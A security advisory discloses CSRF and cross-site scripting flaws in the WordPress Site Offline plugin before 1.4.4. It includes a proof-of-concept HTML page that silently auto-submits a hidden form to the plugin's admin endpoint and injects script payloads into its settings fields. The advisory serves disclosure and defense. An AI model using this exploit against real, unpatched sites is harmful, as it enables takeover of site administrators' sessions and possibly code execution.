RCE Via Site-Offline Wordpress Plugin

WORDPRESS RCE CSRF XSS WEBSHELL

Yaniv Nizry Dec 23, 2020

Summary

The site-offline WordPress plugin before version 1.4.4 was vulnerable to Cross-site Request Forgery (CSRF) and Cross-Site Scripting (XSS) attacks.

Product

Site-offline wordpress plugin before version 1.4.4

Impact

Subject to WordPress and server configurations, successful exploitation of the Cross-Site Scripting vulnerability may lead to remote code execution.

Steps To Reproduce

1. Setup a WordPress website with the Site Offline plugin installed and activated.
2. Admin visits the page

```
<html><head></head>
<body>
<form style="opacity: 0;" action="http://local-wp/wp-admin/admin.php?page=sahu_site_offline_wp" method="POST">
<input type="text" name="action_dashboard" value="sahu_sop_dashboard"/>
<input type="number" name="sahu_so_status" value='1' />
<input type="text" name="so_headline" value="" onfocus='alert(1)'" />
<input type="text" name="so_description" value="<img src=x onerror=alert(1)>" />
<input type="number" name="display_logo" value='0' />
<input type="text" name="so_logo_ur" value="">
<button>submit</button>
</form>
<script>document.querySelector('form').submit();</script>
</body></html>
```

Expected Result:

An alert should be shown on the target WordPress admin panel.

Remediation

Update Site-offline plugin to 1.4.4 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

1. Changeset
2. Site Offline WordPress Plugin